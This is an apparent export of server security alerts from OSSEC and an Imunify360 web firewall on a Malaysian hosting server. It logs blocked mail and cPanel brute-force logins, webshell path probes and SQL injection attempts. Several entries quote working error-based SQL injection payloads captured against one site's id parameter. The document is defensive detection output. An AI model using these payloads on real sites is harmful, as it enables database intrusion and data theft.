2026-01-16 23:15:33 H=([10.10.48.82]) [113.211.97.178]:45995 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<kslee@tujusetia.my> A=dovecot_plain:kslee@tujusetia.my rejected RCPT <tania@tujusetia.my>: No such person at this address."


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.97.178
country_id: 1733045
description:
2026-01-16 23:17:06 H=([10.10.48.82]) [113.211.97.178]:45997 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<kslee@tujusetia.my> A=dovecot_plain:kslee@tujusetia.my rejected RCPT <tania@tujusetia.my>: No such person at this address."


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jan 16 23:19:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-16 23:19:04 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:37742: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.60
country_id: 3865483
description:
Jan 16 23:21:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 23:21:58 H=([45.144.212.242]) [45.144.212.242]:52526 F=<no_reply@admin.com> rejected RCPT <stacy@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.90.81.28
country_id: 2328926
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=611667 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.192.213.120
country_id: 1733045
domain: www.mokshana.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mokshana.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.218.78
country_id: 1269750
description:
Jan 16 23:31:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.218.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.218.78
country_id: 1269750
description:
2026-01-16 23:31:19 dovecot_plain authenticator failed for H=(derrineyst) [128.185.218.78]:48060: 535 Incorrect authentication data (set_id=charles.loo@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.191.32.174
country_id: 337996
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.58
country_id: 953987
description:
Jan 16 23:34:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.58
country_id: 953987
description:
Jan 16 23:34:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.5.232.202
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=98241514874410 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/10anniversary.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 105.101.236.114
country_id: 2589581
description:
2026-01-16 23:42:42 H=([105.101.236.114]) [105.101.236.114]:4175 F=<adilah@pspoly.com.my> rejected RCPT <adilah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.169.82.194
country_id: 935317
description:
Jan 16 23:42:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.169.82.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.169.82.194
country_id: 935317
description:
2026-01-16 23:42:15 dovecot_login authenticator failed for H=(165-169-82-194.zeop.re) [165.169.82.194]:40835: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 105.101.236.114
country_id: 2589581
description:
2026-01-16 23:43:23 H=([105.101.236.114]) [105.101.236.114]:29022 F=<adilah@pspoly.com.my> rejected RCPT <adilah@pspoly.com.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 105.101.236.114
country_id: 2589581
description:
2026-01-16 23:44:04 H=([105.101.236.114]) [105.101.236.114]:4387 F=<adilah@pspoly.com.my> rejected RCPT <adilah@pspoly.com.my>: smtp auth required


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.235.146.217
country_id: 6252001
domain: mail.essemgroup.net
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:34.235.146.217||TA:34.235.146.217||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 23:46:49 H=([45.144.212.242]) [45.144.212.242]:63654 F=<no_reply@admin.com> rejected RCPT <teegh@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.199.237.97
country_id: 1282988
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=3&sub=7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.161.2.137
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-50.193.161.2.137||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.226.85
country_id: 337996
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/7352662933.jpg&size=1000x1000 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.73.100.71
country_id: 3469034
description:
[2026-01-16 23:53:39 +0800] info [whostmgrd] 177.73.100.71 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.189.197.184
country_id: 3895114
description:
[2026-01-16 23:52:59 +0800] info [whostmgrd] 201.189.197.184 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 46.203.226.154
country_id: 2077456
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-53.46.203.226.154||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.20
country_id: 2750405
description:
Jan 16 23:56:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 23:58:11 H=([45.144.212.242]) [45.144.212.242]:51094 F=<no_reply@admin.com> rejected RCPT <tini@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.231
country_id: 6252001
description:
2026-01-16 23:59:50 192308 [Warning] Aborted connection 192308 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.231' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 87.236.176.129
country_id: 2635167
description:
Jan 17 00:02:05 sv3 pure-ftpd[1602328]: (?@87.236.176.129) [INFO] New connection from 87.236.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.245.222.190
country_id: 2921044
description:
[2026-01-17 00:04:00 +0800] info [whostmgrd] 79.245.222.190 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.181
country_id: 6252001
description:
Jan 17 00:05:32 sv3 pure-ftpd[1604597]: (?@205.210.31.181) [INFO] New connection from 205.210.31.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.66
country_id: 1269750
description:
Jan 17 00:06:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.26
country_id: 3175395
description:
Jan 17 00:07:06 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.12
country_id: 2750405
description:
Jan 17 00:09:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.135.251.82
country_id: 2017370
description:
Jan 17 00:09:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.135.251.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.135.251.82
country_id: 2017370
description:
2026-01-17 00:09:35 dovecot_login authenticator failed for H=([79.135.251.82]) [79.135.251.82]:58374: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.17.233.246
country_id: 1269750
description:
Jan 17 00:10:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.17.233.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.17.233.246
country_id: 1269750
description:
2026-01-17 00:10:09 dovecot_login authenticator failed for H=([125.17.236.223]) [125.17.233.246]:37882: 535 Incorrect authentication data (set_id=ratanam)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/druma_photos/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.183
country_id: 6252001
description:
Jan 17 00:10:50 sv3 pure-ftpd[1607687]: (?@198.235.24.183) [INFO] New connection from 198.235.24.183


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 17 00:11:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.8.195.195
country_id: 1814991
description:
Jan 17 00:13:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.8.195.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.8.195.195
country_id: 1814991
description:
2026-01-17 00:13:18 dovecot_login authenticator failed for H=([27.8.195.195]) [27.8.195.195]:25763: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.24
country_id: 3175395
description:
Jan 17 00:15:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.24 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 1.0.219.66
country_id: 1605651
description:
2026-01-17  0:15:11 193015 [Warning] Aborted connection 193015 to db: 'unconnected' user: 'unauthenticated' host: '1.0.219.66' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.24
country_id: 3175395
description:
Jan 17 00:15:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.57.75.184
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-17.72.57.75.184||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.0.140
country_id: 2017370
description:
2026-01-17 00:18:23 dovecot_plain authenticator failed for H=(crutheoge) [31.173.0.140]:49529: 535 Incorrect authentication data (set_id=hello@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 17 00:18:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.0.140
country_id: 2017370
description:
Jan 17 00:18:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.0.140 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.77.136
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-18.92.71.77.136||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.25
country_id: 2750405
description:
Jan 17 00:19:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.212.198.226
country_id: 1814991
description:
Jan 17 00:20:06 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.212.198.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.212.198.226
country_id: 1814991
description:
2026-01-17 00:20:08 dovecot_login authenticator failed for H=([27.212.198.226]) [27.212.198.226]:50021: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.130.98.240
country_id: 1668284
description:
Jan 17 00:20:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.130.98.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-01-17 00:20:11 dovecot_login authenticator failed for H=(098240.CAGR.ncyu.edu.tw) [140.130.98.240]:58818: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.243.163.109
country_id: 2589581
description:
[2026-01-17 00:24:00 +0800] info [whostmgrd] 154.243.163.109 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.190.80.87
country_id: 6252001
description:
[2026-01-17 00:25:48 +0800] info [whostmgrd] 71.190.80.87 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:354804'  AND 0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)-- '||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.17
country_id: 2750405
description:
Jan 17 00:26:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2.57.170.19
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 2.57.170.19
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:354804'  and 0=cast(coalesce((select version())::text, chr(32))::text || chr(67) as numeric)-- '||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:7.64||T:APACHE||SC:/home2/kendek/public_html/services-detail.php||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.74
country_id: 6252001
description:
2026-01-17  0:26:23 193494 [Warning] Aborted connection 193494 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.74' (This connection closed normally without authentication)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2.57.170.19
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:(select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a) and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 2.57.170.19
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: PHP Injection Low value||MV:(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and 1=1||MVN:ARGS:id||RSV:7.64||T:APACHE||SC:/home2/kendek/public_html/services-detail.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2.57.170.22
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:354804 and 0 in (select cast(@@version as nvarchar(4000)) + '')--||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2.57.170.22
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:354804 AND 0 IN (SELECT CAST(@@VERSION AS NVARCHAR(4000))   '')--||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.254.51
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/drive/19/164/1923748 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.128.123.24
country_id: 6252001
description:
[2026-01-17 00:28:22 +0800] info [whostmgrd] 24.128.123.24 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 165.154.51.221
country_id: 1605651
description:
2026-01-17  0:28:46 193630 [Warning] Aborted connection 193630 to db: 'unconnected' user: 'unauthenticated' host: '165.154.51.221' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 00:29:06 H=([45.144.212.242]) [45.144.212.242]:49629 F=<no_reply@admin.com> rejected RCPT <vimala@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.15
country_id: 2750405
description:
Jan 17 00:30:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.9
country_id: 3469034
description:
Jan 17 00:30:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.126.115.53
country_id: 2542007
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/category/uncategorized HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.59.184.180
country_id: 1269750
description:
Jan 17 00:33:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.59.184.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.59.184.180
country_id: 1269750
description:
2026-01-17 00:33:09 dovecot_plain authenticator failed for H=(1VT5KO7) [152.59.184.180]:52284: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/dRuma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV: or 1=(select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a) and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:354804'  AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)# '||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2.57.170.19
country_id: 3175395
domain: www.kendek.com
description:
